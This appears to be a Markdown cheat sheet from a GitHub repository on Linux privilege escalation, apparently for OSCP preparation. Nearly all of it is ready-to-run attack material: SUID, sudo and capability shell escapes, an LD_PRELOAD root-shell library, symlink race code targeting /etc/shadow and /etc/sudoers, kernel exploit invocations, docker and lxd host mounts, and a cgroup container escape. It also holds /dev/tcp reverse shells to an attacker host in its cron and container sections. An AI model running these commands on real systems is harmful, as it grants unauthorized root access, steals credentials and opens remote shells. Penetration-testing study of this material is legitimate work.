Skip to content

Latest commit

 

History

History
688 lines (491 loc) · 14.1 KB

File metadata and controls

688 lines (491 loc) · 14.1 KB

Privilege Escalation Linux

Table of Contents


Enumeration

Quick Check (One-liner)

id && sudo -l 2>/dev/null && find / -perm -4000 -type f 2>/dev/null && getcap -r / 2>/dev/null && cat /etc/crontab

Quick Enumeration (One-liner)

# Full system enum
uname -a && id && sudo -l 2>/dev/null && cat /etc/crontab 2>/dev/null

# Find all SUID binaries
find / -perm -4000 -type f 2>/dev/null | xargs ls -la

# Find writable /etc files
find /etc -writable -type f 2>/dev/null

# Search for passwords
grep -rniE 'password|passwd|pwd|secret|credential' /etc /home /var/www 2>/dev/null | head -50

SUID Check (One-liner)

# Find SUID + check GTFOBins
for bin in $(find / -perm -4000 -type f 2>/dev/null); do echo "[*] $bin"; done

Capabilities Check (One-liner)

# Find files with capabilities
getcap -r / 2>/dev/null

Cron Jobs Check (One-liner)

# Check all cron locations
cat /etc/crontab /etc/cron.d/* /var/spool/cron/crontabs/* 2>/dev/null; ls -la /etc/cron.*/ 2>/dev/null

SUDO Exploitation

📖 See full GTFOBins guide: 4.3.GTFOBins-Linux.md

sudo -l    # List sudo permissions

Quick Escapes (Most Common)

Binary Command
vim sudo vim -c ':!/bin/bash'
find sudo find / -exec /bin/bash \; -quit
python sudo python3 -c 'import os; os.system("/bin/bash")'
less sudo less /etc/passwd!/bin/bash
awk sudo awk 'BEGIN {system("/bin/bash")}'

LD_PRELOAD Exploitation

If env_keep+=LD_PRELOAD in sudo -l

#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>

void _init() {
    unsetenv("LD_PRELOAD");
    setgid(0);
    setuid(0);
    system("/bin/bash");
}
gcc -fPIC -shared -o shell.so shell.c -nostartfiles
sudo LD_PRELOAD=/tmp/shell.so <ALLOWED_BINARY>

SUID/SGID Exploitation

find / -perm -4000 -type f 2>/dev/null

Check GTFOBins for SUID exploits: https://gtfobins.github.io/

Common SUID Exploits

# /usr/bin/find with SUID
./find . -exec /bin/sh -p \; -quit

# /usr/bin/python3 with SUID
./python3 -c 'import os; os.execl("/bin/sh", "sh", "-p")'

# /usr/bin/vim with SUID
./vim -c ':py3 import os; os.execl("/bin/sh", "sh", "-pc", "reset; exec sh -p")'

# /usr/bin/bash with SUID
./bash -p

SUID PATH Hijacking

When a SUID binary calls another binary without full path

Identify Vulnerable SUID

# Find SUID binaries
find / -perm -4000 -type f 2>/dev/null

# Check what commands the binary calls
strings /path/to/suid_binary
ltrace /path/to/suid_binary 2>&1
strace /path/to/suid_binary 2>&1

# Look for calls like: system("command") instead of system("/usr/bin/command")

Exploitation

// exploit.c - Create malicious binary for PATH hijacking
#include <stdlib.h>
#include <unistd.h>

int main() {
    setuid(0);
    setgid(0);
    system("/bin/bash -p");
    return 0;
}
# Compile malicious binary
gcc -o <hijacked_binary_name> exploit.c
chmod +x <hijacked_binary_name>

# Prepend current directory to PATH
export PATH=$(pwd):$PATH

# Run the vulnerable SUID binary
/path/to/suid_binary
# Get root shell!

Example: scp SUID Hijacking

# If /usr/bin/scp is SUID and calls 'ssh' without full path:
gcc -o ssh exploit.c
chmod +x ssh
export PATH=$(pwd):$PATH
scp file user@host:/path
# Get root shell because scp calls our malicious 'ssh'

Capabilities

getcap -r / 2>/dev/null

Exploit Examples

# cap_setuid+ep on python3
./python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'

# cap_setuid+ep on perl
./perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/bash";'

Capabilities Reference Table

Capability Binary Exploitation
cap_setuid+ep python python -c 'import os; os.setuid(0); os.system("/bin/bash")'
cap_setuid+ep perl perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/sh";'
cap_setuid+ep ruby ruby -e 'Process::Sys.setuid(0); exec "/bin/sh"'
cap_setuid+ep php php -r 'posix_setuid(0); system("/bin/sh");'
cap_setuid+ep node node -e 'process.setuid(0); require("child_process").spawn("/bin/sh", {stdio: [0, 1, 2]});'
cap_dac_read_search+ep tar tar cvf /tmp/shadow.tar /etc/shadow && tar xvf /tmp/shadow.tar
cap_dac_override+ep vim Read/write any file regardless of permissions
cap_net_raw+ep tcpdump Packet capture without root
cap_net_bind_service+ep - Bind to ports < 1024

Common Exploitable Binaries with cap_setuid

# GTFOBins-style exploitation
/usr/bin/python3 -c 'import os; os.setuid(0); os.system("/bin/bash -p")'
/usr/bin/perl -e 'use POSIX (setuid); POSIX::setuid(0); exec "/bin/bash";'
/usr/bin/gdb -nx -ex 'python import os; os.setuid(0)' -ex '!bash' -ex quit

# cap_dac_read_search - read protected files
/usr/bin/tar -cvf /tmp/passwd.tar /etc/shadow
tar -xvf /tmp/passwd.tar

# Openssl read protected files
openssl enc -in /etc/shadow

Set Capabilities (as root for persistence)

# Add capability
sudo setcap cap_setuid+ep /usr/bin/python3

# Remove capability  
sudo setcap -r /usr/bin/python3

# View all files with capabilities
getcap -r / 2>/dev/null

Cron Jobs

cat /etc/crontab
cat /etc/cron.d/*
ls -la /etc/cron.*
crontab -l

Writable Cron Script

# If a cron job runs a writable script
echo "bash -i >& /dev/tcp/$lhost/$lport 0>&1" >> /path/to/script.sh

PATH Manipulation

If cron runs script without absolute path

echo "#!/bin/bash" > /tmp/scriptname
echo "/bin/bash -i >& /dev/tcp/$lhost/$lport 0>&1" >> /tmp/scriptname
chmod +x /tmp/scriptname
export PATH=/tmp:$PATH

Race Condition (TOCTOU)

Time-of-Check to Time-of-Use vulnerability in SUID binaries

Identify Vulnerable Binary

# Look for patterns:
# 1. Binary checks file permissions
# 2. Time delay (sleep, network call, etc.)
# 3. Binary reads/writes the file

# Use ltrace to see syscalls
ltrace ./vulnerable_suid_binary testfile 2>&1
# Look for: access() followed by open() with delay between

Basic Race Condition Exploit

# If binary checks access() then reads file:
# We can switch the file between check and read

# Create symlink switcher loop
while true; do
    ln -sf /root/flag.txt testfile
    ln -sf /tmp/dummy.txt testfile
done &

# Race the SUID binary many times
for i in $(seq 1 1000); do
    ./vulnerable_suid_binary testfile 2>/dev/null
done

TOCTOU to Read Root Files

// switch.c - Rapidly switch symlink target
#include <stdio.h>
#include <unistd.h>

int main(int argc, char *argv[]) {
    while(1) {
        unlink(argv[1]);
        symlink("/etc/shadow", argv[1]);
        unlink(argv[1]);
        symlink("/tmp/dummy", argv[1]);
    }
    return 0;
}
# Compile
gcc -o switch switch.c

# Create dummy file that passes access check
touch /tmp/dummy && chmod 644 /tmp/dummy

# Run symlink switcher in background
./switch testfile &

# Run vulnerable binary repeatedly
for i in $(seq 1 1000); do ./vulnerable_suid_binary testfile; done 2>/dev/null | grep -v "denied"

TOCTOU for Sudoers Modification

# If SUID binary writes to file we control:
# Race to switch file to /etc/sudoers

echo "user ALL=(ALL:ALL) NOPASSWD: ALL" > /tmp/payload

# Switcher script
while true; do
    ln -sf /tmp/payload testfile
    ln -sf /etc/sudoers testfile
done &

# Trigger the write
./vulnerable_suid_writer testfile

# Check if it worked
sudo -l

Group Membership Abuse

Disk Group

If user is in disk group, can read raw disk and access all files

# Check group membership
id
groups

Using debugfs

# Find disk device (usually /dev/sda1 or /dev/sda2)
lsblk
df -h

# Read /etc/shadow directly from disk
debugfs /dev/sda2
debugfs: cat /etc/shadow

# Read SSH keys
debugfs: cat /root/.ssh/id_rsa

# Exit debugfs
debugfs: quit

Crack Root Password

# Copy shadow hash to file
echo 'root:$6$...:...' > root_hash.txt

# Crack with john
john --wordlist=/usr/share/wordlists/rockyou.txt root_hash.txt

# Switch to root
su root

Docker Group

# Mount host filesystem in privileged container
docker run -v /:/mnt --rm -it alpine chroot /mnt bash

# Or spawn shell with root access
docker run -v /:/mnt -it alpine /bin/sh
cat /mnt/etc/shadow

LXD/LXC Group

# Import Alpine image
lxc image import ./alpine-v3.13-x86_64.tar.gz --alias myimage

# Create privileged container
lxc init myimage ignite -c security.privileged=true
lxc config device add ignite mydevice disk source=/ path=/mnt/root recursive=true
lxc start ignite
lxc exec ignite /bin/sh

# Access host filesystem
cat /mnt/root/etc/shadow

Additional SUID Exploits

Check GTFOBins: https://gtfobins.github.io/

strace SUID

# If /usr/bin/strace has SUID bit
strace -o /dev/null /bin/sh -p

# -p flag preserves privileges
whoami  # Should be root

mawk SUID / sudo

# If sudo mawk is allowed
sudo mawk 'BEGIN {system("/bin/sh")}'
sudo /usr/bin/mawk 'BEGIN {system("/bin/bash")}'

exiftool (CVE-2021-22204)

djvu file parsing vulnerability - limited versions

# Check version
exiftool -ver

# Affected: 7.44 - 12.23
searchsploit exiftool

Kernel Exploits

Dirty COW (CVE-2016-5195)

Linux Kernel < 4.8.3

gcc -pthread dirty.c -o dirty -lcrypt
./dirty <new_password>
su firefart

Dirty Pipe (CVE-2022-0847)

Linux Kernel >= 5.8

gcc exploit.c -o exploit
./exploit /etc/passwd 1 "${openssl passwd -1 password}"

PwnKit (CVE-2021-4034)

polkit pkexec LPE

python3 cve-2021-4034.py

Polkit (CVE-2021-3560)

polkit privilege escalation via timing attack (Ubuntu 20.04, RHEL 8, Fedora 21+)

# Check polkit version
pkaction --version

# Exploit - create user with sudo privileges
time dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:attacker string:"Attacker User" int32:1 & sleep 0.005s; kill $!

# Set password
time dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts/User1000 org.freedesktop.Accounts.User.SetPassword string:'$6$salt$hash' string:'' & sleep 0.005s; kill $!

# Login as new user
su - attacker
sudo -i

Automated exploit

# Download and run
wget https://raw.githubusercontent.com/Almorabea/Polkit-exploit/main/CVE-2021-3560.py
python3 CVE-2021-3560.py

Looney Tunables (CVE-2023-4911)

glibc LPE

./exp

BPF Privilege Escalation (CVE-2017-16995)

Linux Kernel 4.4.x - 4.13.x (Ubuntu 16.04)

# Check kernel version
uname -r
cat /etc/os-release

# Download exploit
wget https://raw.githubusercontent.com/rlarabee/exploits/master/cve-2017-16995/cve-2017-16995.c

# Compile on target (or cross-compile)
gcc cve-2017-16995.c -o cve-2017-16995

# Execute
./cve-2017-16995
whoami  # Should be root

Alternative: Searchsploit

# Find exploit
searchsploit "linux kernel Ubuntu 16 Local Privilege Escalation"
searchsploit -m 45010  # Copy exploit

# Compile and run
gcc 45010.c -o exploit
./exploit

Enumeration Tools

LinPEAS

https://github.com/carlospolop/PEASS-ng

./linpeas.sh
./linpeas.sh -a    # All checks

LinEnum

https://github.com/rebootuser/LinEnum

./LinEnum.sh
./LinEnum.sh -t    # Thorough checks

linux-exploit-suggester

https://github.com/The-Z-Labs/linux-exploit-suggester

./linux-exploit-suggester.sh

pspy

https://github.com/DominicBreuker/pspy

Monitor processes without root

./pspy64
./pspy64 -pf -i 1000    # Print commands and file system events

NFS Root Squashing

# Check NFS exports
cat /etc/exports
showmount -e $rhost

Exploit no_root_squash

# On attacker machine
mkdir /tmp/nfs
mount -t nfs $rhost:/share /tmp/nfs
cp /bin/bash /tmp/nfs/
chmod +s /tmp/nfs/bash

# On victim
/share/bash -p

Docker Escape

# Check if in container
cat /proc/1/cgroup
ls /.dockerenv

Privileged Container Escape

mkdir /tmp/escape
mount -t cgroup -o rdma cgroup /tmp/escape
mkdir /tmp/escape/x
echo 1 > /tmp/escape/x/notify_on_release
host_path=$(sed -n 's/.*upperdir=\([^,]*\).*/\1/p' /proc/mounts | head -n1)
echo "$host_path/cmd" > /tmp/escape/release_agent
echo '#!/bin/bash' > /cmd
echo "bash -i >& /dev/tcp/$lhost/$lport 0>&1" >> /cmd
chmod +x /cmd
sh -c "echo \$\$ > /tmp/escape/x/cgroup.procs"

See Also

Related Files

Post-Exploitation

OSCP Preparation